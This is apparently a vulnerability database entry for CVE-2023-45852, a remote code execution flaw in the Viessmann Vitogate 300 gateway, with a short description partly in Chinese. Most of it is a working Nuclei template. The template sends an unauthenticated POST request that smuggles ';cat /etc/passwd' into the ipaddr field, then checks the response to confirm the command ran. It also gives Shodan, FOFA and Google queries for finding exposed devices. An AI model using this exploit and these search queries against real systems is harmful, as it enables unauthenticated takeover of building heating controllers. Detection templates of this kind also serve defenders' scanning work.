CVE-2023-45852: Viessmann Vitogate 300 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Viessmann Vitogate 300 | POC: 已公开

漏洞描述

In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.

PoC代码[已公开]

id: CVE-2023-45852

info:
  name: Viessmann Vitogate 300 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
  reference:
    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
    - https://github.com/tanjiti/sec_profile
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45852
    cwe-id: CWE-77
    epss-score: 0.93749
    epss-percentile: 0.9985
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: viessmann
    product: vitogate_300_firmware
    shodan-query:
      - title:"Vitogate 300"
      - http.title:"vitogate 300"
    fofa-query:
      - title="Vitogate 300"
      - title="vitogate 300"
    google-query: intitle:"vitogate 300"
  tags: cve2023,cve,rce,vitogate,viessmann,vkev

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(header, "application/json")'
          - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
        condition: and
# digest: 4a0a00473045022067eca2551190ded32d8543a77d427cb6140491da2f75bd8194775841738a750b0221009e24ff593bd0dda120093b2d2f4760bbc4edbfeebd61f88b007c3a305a668194:922c64590222798bb761d5b6d8e72950

相关漏洞推荐